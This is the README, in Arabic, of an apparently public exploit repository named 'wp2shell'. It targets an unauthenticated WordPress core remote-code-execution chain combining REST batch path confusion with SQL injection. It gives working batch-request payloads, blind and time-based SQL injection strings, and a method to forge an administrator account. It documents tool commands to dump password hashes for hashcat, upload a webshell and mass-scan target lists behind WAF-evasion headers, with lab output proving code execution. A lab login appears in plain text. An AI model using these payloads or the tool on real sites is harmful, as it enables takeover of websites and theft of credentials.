
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: RCE غير مصدق في نواة ووردبريس
ارتباك مسار REST API (CVE-2026-63030) متسلسل مع حقن SQL في
WP_Queryauthor__not_in(CVE-2026-60137) → تنفيذ كود عن بُعد بدون مصادقة مسبقة على تثبيت ووردبريس افتراضي.مكتشف من قبل Adam Kues (Assetnote / Searchlight Cyber)، تم الإفصاح عنه في 2026-07-17. الإرشادات: GHSA-ff9f-jf42-662q, GHSA-fpp7-x2x2-2mjf.
| السلسلة (RCE بدون مصادقة) | ووردبريس 6.9.0 - 6.9.4 و 7.0.0 - 7.0.1 |
| حقن SQL فقط (يحتاج إلى إضافة/قالب مساعد) | 6.8.0 - 6.8.5 |
| غير متأثر | ≤ 6.8 لـ ارتباك الدفعة؛ 6.9.5 / 7.0.2 / 7.1-beta2 (تم التصحيح) |
| الشروط المسبقة | REST API يمكن الوصول إليه؛ لا يوجد مخبأ كائنات دائم (Redis/Memcached)؛ ≥1 منشور منشور |
| المصادقة المطلوبة | لا يوجد |
| التأثير | بدون مصادقة → إنشاء مدير جديد → تنفيذ كود (حقن SQL أيضًا يسحب تجزئة المدير) |
https://github.com/user-attachments/assets/7f9cc52c-3f31-4339-9192-e31e506684f6
requests ودون ميزات معطلة.shell بدون بيانات اعتماد يزيف WP_Post مزيفًا عبر ارتباك UNION لمنشور واحد، ويوصل المخصّص لإنشاء مدير جديد (POST /wp/v2/users)، ويسجل الدخول، ويسقط شيل ويب محمي برمز مميز. سحب تجزئة المدير باستخدام حقن SQL (read --preset users) محفوظ كمسار ثانٍ تم التحقق منه.block_cannot_read) يُستخدم كفحص أولي غير تخريبي.sqli) لا تمتلكه PoCs الأخرى.$wp$2y$ (-m 35500).wp2shell/
├── README.md ← أنت هنا
├── wp2shell.py ← PoC الموحدة (ملف واحد، مكتبة قياسية فقط، بواسطة 0xsha)
└── lab/ ← مختبرات Docker قابلة للتكرار + مصفوفة الموثوقية
├── docker-compose.yml (مختبر 6.9.4 الافتراضي)
├── docker-compose.matrix.yml (مُعامل: أي إصدار × MySQL/MariaDB)
├── docker-compose.sqli.yml (مختبر "حقن SQL فقط" 6.8.3)
├── matrix.sh (تشغيل مصفوفة الموثوقية بأكملها)
└── sqli-only/facilitator.php (إضافة صغيرة: المُساعد للإصدار 6.8.x)
)
ستة PoCs عامة التي تستمد منها هذه الأداة ليست مودعة هنا؛ تم ربطها في [الإسناد](#5-الإسناد).
كل ما يلي تم **التحقق منه في مختبر Docker المحلي** (انظر [§4](#4-مصفوفة-الإصدار-قاعدة-البيانات-ما-اختبرناه-فعليًا))؛ الادعاءات التي *لم* تُدار في المختبر معلّمة على هذا النحو.
---
## 1. تفاصيل الثغرة - تعمق في الكود
السلسلة تربط عيبين مستقلين. أرقام الأسطر من مصدر **ووردبريس 6.9.4 الحقيقي** (مستخرج من `wordpress:6.9.4-apache`).
### العيب أ - حقن SQL في `author__not_in` (CVE-2026-60137)
`wp-includes/class-wp-query.php`، `WP_Query::get_posts()`:
```php
2403 if ( ! empty( $query_vars['author__not_in'] ) ) {
2404 if ( is_array( $query_vars['author__not_in'] ) ) { // ← الحارس يعمل فقط مع المصفوفات
2405 $query_vars['author__not_in'] = array_unique( array_map( 'absint', $query_vars['author__not_in'] ) );
2406 sort( $query_vars['author__not_in'] );
2407 }
2408 $author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // ← السلسلة تمر مباشرة
2409 $where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // ← إدراج خام
2410 } elseif ( ! empty( $query_vars['author__in'] ) ) {
...
2415 $author__in = implode( ',', array_map( 'absint', array_unique( (array) $query_vars['author__in'] ) ) ); // ← absint داخل implode
سلسلة author__not_in تتجاوز حارس is_array() (2404)؛ implode(',', (array)"…") يعيدها كما هي (2408) ويتم تسلسلها خامًا في SQL (2409). author__in الشقيق (2415) يعيد تطبيق array_map('absint', …) داخل implode وهو آمن - هذا array_map المفقود هو العيب. القيمة تصل كـ ... post_author NOT IN (<value>) ...، لذا 0) <sql>-- - يغلق القائمة ويضيف SQL.
الحصول على سلسلة هناك هو الجزء الصعب: نقطة نهاية REST للمنشورات ترسم author_exclude → author__not_in (class-wp-rest-posts-controller.php:247) ولكنها تعلن عنها كـ 'type' => 'array' من الأعداد الصحيحة، لذا تقوم النواة بإكراه/رفض السلسلة:
GET /wp-json/wp/v2/posts?author_exclude=1) OR SLEEP(3)-- -
→ 400 "author_exclude[0] is not of type integer." (تم التحقق على 6.8.3)
لهذا السبب العيب أ وحده هو فقط "مساعد". العيب ب يهرب السلسلة عبر التحقق الصحيح على 6.9+.
wp-includes/rest-api/class-wp-rest-server.php، serve_batch_request_v1():
1720 if ( false === $parsed_url ) {
1721 $requests[] = new WP_Error( 'parse_path_failed', … ); // مسار سيئ يصبح WP_Error في $requests
1749 foreach ( $requests as $single_request ) {
1750 if ( is_wp_error( $single_request ) ) {
1752 $validation[] = $single_request; // ← يُدفع إلى $validation …
1753 continue; // ← … ولكن $matches يتم تخطيها
1754 }
1757 $matches[] = $match; // ← $matches تنمو فقط للطلبات الصالحة
1825 foreach ( $requests as $i => $single_request ) { // مفهرسة حسب الموقع في $requests
1841 $match = $matches[ $i ]; // ← $matches أقصر → إزاحة +1
1861 $result = $this->respond_to_request( $single_request, $route, $handler, $error );
طلب فرعي WP_Error يُدفع إلى $validation[] (1752) ولكن ليس إلى $matches[] (الـ continue عند 1753 يتخطى 1757)، لذا $matches تصبح أقصر و $matches[$i] (1841) تحتوي على معالج الطلب التالي. يتم إرسال الطلب i مع معالج الطلب i+1، حاملًا معاملاته الخاصة ونتيجة التحقق الخاصة به (التي تم تمريرها).
أصل الانحدار (تم التحقق 6.8.3 ← 6.9.4 diff): في 6.8.3 الحلقة تدفع $matches[] = $match لـ كل طلب والمسارات السيئة تُسقط في الحلقة الأولى - المصفوفات تبقى متوازية، لا إزاحة. إعادة الهيكلة في 6.9.0 أدخلت الإزاحة. هذا بالضبط لماذا 6.8.x هي "حقن SQL فقط" وتبدأ سلسلة RCE من 6.9.0.
التصحيح يضيف $matches[] لإدخالات الخطأ أيضًا، يشدد إعادة الدخول، ويحلل author__not_in بمساعدة قائمة معرفات. (6.9.5 لم تكن على Docker Hub وقت الاختبار، لذا هذا من الإرشادات، ليس diff في المختبر.)
مخطط الدفعة يسمح فقط بالطلبات الفرعية POST/PUT/PATCH/DELETE، ولكن get_items للمنشورات (مصرف author_exclude) هو للقراءة فقط (GET)، لذا يتم تداخل الارتباك مرتين:
// الدفعة الخارجية → POST /wp-json/batch/v1
{"requests": [
{"method":"POST","path":"///"}, // [0] مسار سيئ → WP_Error → إزاحة +1
{"method":"POST","path":"/wp/v2/posts", // [1] الناقل: تم التحقق منه كإنشاء منشور →
"body": { /* الدفعة الداخلية */ }}, // جسم `requests` الخاص به لا يُفحص في المخطط أبدًا
{"method":"POST","path":"/batch/v1", // [2] معالج → [1] يتم إرساله كـ serve_batch_request_v1
"body":{"requests":[]}} // (لا يوجد permission_callback → غير مصادق)
]}
// الدفعة الداخلية (GET الآن مسموح به):
// [0] POST /// WP_Error → إزاحة داخلية +1
// [1] GET /wp/v2/users?author_exclude=<PAYLOAD> المستخدمون ليس لديهم author_exclude → PAYLOAD يمر دون تغيير
// [2] GET /wp/v2/posts معالج [2] = posts get_items → يشغل [1] → حقن SQL
/// هو الممهّد للإزاحة (أي مسار يرفضه wp_parse_url() يعمل). الأداة تشحن أيضًا نسخة --variant categories من نفس الخدعة.
فحص واحد، غير تخريبي، مستقل عن الإصدار يؤكد CVE-2026-63030 حتى عندما يكون مصرف حقن SQL مخبئًا في الكائنات أو مفلترًا بواسطة WAF: دفعة من الطلبات الفرعية POST حيث يجعل الإزاحة POST /wp/v2/posts يُجاب بواسطة استدعاء إذن عارض الكتلة:
responses[1].code == "block_cannot_read" ← خطأ إذن من معالج لم تطلبه أبدًا
wp2shell.py check يستخدم هذا كإشارته الأساسية (شكل هيكلي منشور-مقابل-مصطلح كبديل). (تقنية الكشف: Hadrian / Icex0.)
القيمة تقع داخل NOT IN (<value>)، أوراكل منطقي نظيف: 0) AND (<cond>)-- - يُرجع صفوفًا إذا تحقق <cond>. الاستخراج هو بحث ثنائي حرف بحرف عبر ASCII(SUBSTRING(COALESCE((expr),''),n,1)) (الـ COALESCE يبقي NULL من قصر الدائرة إلى قراءة فارغة).
ملاحظة مختبر - القائم على الوقت يحتاج عناية.
0) OR SLEEP(n)-- -الساذجة تعطي لا تأخير على تثبيت افتراضي: الصفوف المنشورة تحقق الاستعلام أولاً وتقصر الدائرة فيOR. التأكيد هو فرق منطقي حتمي؛ التوقيت يستخدم0) AND (SELECT 1 FROM (SELECT SLEEP(n))_z)-- -. لوحظ 0.01s مقابل 3.04s.
RCE العملي يحتاج لا كلمة مرور ولا كسر. shell بدون بيانات اعتماد يشغل السلسلة الكاملة، تم التحقق منها جميعًا في المختبر:
WP_Post مزيف. نسخة أخرى من الارتباك تصل إلى استعلام نظيف قابل للـ UNION: /wp/v2/posts/999999?orderby=none&per_page=500 يتم التحقق منه مقابل مخطط عنصر المنشور الواحد (لذا معاملات المجموعة فقط تمر دون فحص)، ثم يتم إزاحتها على معالج مجموعة المنشورات. orderby=none يزيل ORDER BY التالي و per_page=500 يبقي WP_Query في وضع الصف الكامل، لذا UNION SELECT يبقى كصف wp_posts مصنّع.oembed_cache + customize_changeset (مع user_id مضبوط على معرف مدير موجود، مقروء عبر UNION) + صفوف nav_menu_item. تشغيل oEmbed يجعل تغييرات المخصّص تُشغل .بديل أقدم (--user/--password). read --preset users يسحب wp_users.user_pass (تجزئة ووردبريس 6.9 $wp$2y$… = bcrypt فوق HMAC-SHA384؛ اكسر باستخدام hashcat -m 35500)، ثم shell --user/--password يسجل الدخول بالنص العادي المسترد. حقيقي، ولكن bcrypt يجعله بطيئًا، لذا سلسلة إنشاء المدير أعلاه هي المسار المعياري.
6.8.x لديه العيب أ ولكن ليس العيب ب، والنواة تقوم بإكراه author_exclude إلى مصفوفة أعداد صحيحة، لذا حقن SQL يمكن الوصول إليه فقط من خلال إضافة/قالب مساعد يسلّم WP_Query سلسلة خام. الأمر الفرعي sqli يحقن في هذا المصرف مباشرة (قائم على الوقت افتراضيًا؛ منطقي سريع مع --true-contains). تم عرضه ضد المُساعد lab/sqli-only على 6.8.3.
wp2shell.pyملف واحد، Python 3.7+، المكتبة القياسية فقط. نقل جاهز للإنتاج على كل أمر: --insecure (TLS بتوقيع ذاتي)، -H 'K: V' (قابل للتكرار)، --user-agent، --proxy، --retries، --delay.
check بصمة + علامة ارتباك + تأكيد حقن SQL (غير تخريبي)
read قراءة قاعدة البيانات عبر حقن SQL أعمى (--preset fingerprint|users | --query "SELECT …")
shell RCE: تسجيل دخول مدير → شيل ويب محمي برمز مميز → تشغيل أوامر (-i لـ REPL)
sqli حقن SQL في author__not_in ضد مصرف مباشر/مساعد (6.8.x، أو أي مصرف إضافة)
scan فحص ثغرات متعدد الخيوط عبر عنوان URL واحد أو قائمة .txt (--prove، --json)
./wp2shell.py check https://target
./wp2shell.py read https://target --preset users # عمليات الدخول + تجزئات $wp$2y$ (+ تلمیح hashcat)
./wp2shell.py read https://target --query "SELECT @@version"
./wp2shell.py shell https://target --cmd id # بدون كسر للتجزئة: ينشئ مديرًا، ثم شيل ويب
./wp2shell.py shell https://target -i # شيل تفاعلي
./wp2shell.py shell https://target --user admin --password '<cracked>' --cmd id # أو إعادة استخدام مدير موجود
./wp2shell.py scan https://target --prove # عنوان URL واحد، استخراج @@version كدليل
./wp2shell.py scan targets.txt --threads 10 --json out.json # قائمة .txt من الأهداف
./wp2shell.py sqli https://target --endpoint '/?plugin_route=1' --param author_not_in --true-contains ROWS:YES
# مقابض إنتاجية: TLS بتوقيع ذاتي، رأس WAF، Burp، تحديد معدل
./wp2shell.py check https://target --insecure -H 'X-Forwarded-For: 127.0.0.1' --proxy http://127.0.0.1:8080 --delay 0.2
# مختبر ضعيف افتراضي (ووردبريس 6.9.4 + MariaDB)، http://localhost:8080
docker compose -f lab/docker-compose.yml up -d
docker compose -f lab/docker-compose.yml logs -f wpcli # انتظر "LAB READY"
./wp2shell.py check http://localhost:8080
docker compose -f lab/docker-compose.yml down -v
bash lab/matrix.sh # مصفوفة كاملة إصدار × قاعدة بيانات
# مختبر "حقن SQL فقط" (6.8.3 + إضافة صغيرة مساعدة)، http://localhost:8082
docker compose -f lab/docker-compose.sqli.yml up -d
./wp2shell.py sqli http://localhost:8082 --endpoint '/?wp2shell_faccheck=1' \
--param author_not_in --true-contains ROWS:YES --preset fingerprint
مدير المختبر هو admin / Admin!2345 - النص العادي معروف فقط حتى يتمكن المختبر من عرض shell بعد المصادقة؛ المهاجم الحقيقي يستعيد التجزئة ويكسرها.
نطاق قاعدة البيانات محدود بـ MySQL و MariaDB - نواة ووردبريس لا تتحدث أي محرك آخر في الإنتاج (لا مشغل PostgreSQL/MSSQL؛ SQLite فقط عبر إضافة نادرة).
كل أمر جرى في المختبر: check (علامة block_cannot_read + منطقي + وقت)، read (بصمة / مستخدمون / --query)، shell (إنشاء مدير بدون كسر → تسجيل دخول → شيل ويب → uid=33(www-data)، بالإضافة إلى --user/--password و REPL تفاعلي)، sqli (منطقي + وقت)، scan (عنوان URL واحد + .txt + --json + --prove)، حمولة --variant categories، اكتشاف نقطة النهاية تلقائيًا (/wp-json/ + ?rest_route=)، وعلماء النقل.
$ ./wp2shell.py check http://localhost:8080
[+] نقطة نهاية الدفعة قابلة للوصول وبدون مصادقة (HTTP 207) على http://localhost:8080/wp-json/batch/v1
[+] ارتباك المسار نشط - طلب الفئات يُجاب بواسطة معالج عارض الكتلة (block_cannot_read)؛ تم تأكيد CVE-2026-63030.
[+] تم تأكيد حقن SQL - فرق منطقي أعمى عبر author__not_in (CVE-2026-60137).
[+] القناة القائمة على الوقت مؤكدة أيضًا - خط الأساس 0.02s مقابل 3.04s محقون.
$ ./wp2shell.py read http://localhost:8080 --preset users
[+] 1|admin|$wp$2y$10$IUUVXuWQ45USOc/rkRAcduAEvyYmHNabvfWFBMq5ApR9RGau6Fxx.
[*] اكسر تجزئات $wp$2y$ باستخدام: hashcat -m 35500 …
$ ./wp2shell.py shell http://localhost:8080 --cmd id
[*] لم يتم توفير بيانات اعتماد - إنشاء مدير جديد قبل المصادقة (لا تجزئة، لا كسر) ...
[+] تم إنشاء مدير: wp2_950eeb3deda8 / Wp2!... (تم اقتراض معرف المدير 1)
[+] تم المصادقة.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
block_cannot_read)،
VulnCheck.wp2shell.py، لا كود منسوخ حرفيًا):
WP_Post مزيفًا عبر ارتباك مسار المنشور الواحد، قُد رسمًا بيانيًا oembed_cache + customize_changeset (user_id=مدير) + nav_menu_item بحيث يعمل المخصّص كمدير موجود، ثم لصك مدير جديد.لـ اختبار أمني مصرح به وتعليمي فقط - أنظمة تملكها أو يمكنك اختبارها كتابيًا. كل استغلال هنا جرى ضد مختبر Docker محلي ومؤقت؛ شيل الويب محمي برمز مميز والأمر الافتراضي غير ضار. أنت مسؤول عن كيفية استخدامك لهذا.
POST /wp/v2/users مع roles:["administrator"] الآن ينجح تحت سياق المدير المقترض، ويظهر مدير جديد wp2_* في wp_users (تم التحقق: صف مدير جديد).update.php?action=upload-plugin، تشغيل الأوامر. تم التحقق: uid=33(www-data).| ووردبريس | محرك DB | المسار | check | البيانات المستخرجة |
|---|
| 6.9.4 | MariaDB 11 | سلسلة الدفعة | ✅ RCE كامل | تجزئة المدير $wp$2y$… + @@version |
| 7.0.1 | MariaDB 11 | سلسلة الدفعة | ✅ RCE كامل | تجزئة المدير |
| 6.9.4 | MySQL 8.4 | سلسلة الدفعة | ✅ RCE كامل | تجزئة المدير (الحمولات محمولة) |
| 6.8.3 | MariaDB 11 | سلسلة الدفعة | ⛔ 207 ولكن لا ارتباك | - (يطابق الإرشاد) |
| 6.8.3 | MariaDB 11 | sqli المُساعد | ✅ CVE-2026-60137 | @@version، المستخدم، قاعدة البيانات - منطقي و قائم على الوقت |
POST /wp/v2/usersunion_inject ارتباك منشور واحد، UnionSQLi، PreAuthAdminCreator)، كاشف علامة block_cannot_read، استخراج COALESCE آمن من NULL، وتوقيت مقاوم للتشتت.$wp$2y$ → hashcat -m 35500): hashpwn / hashcat.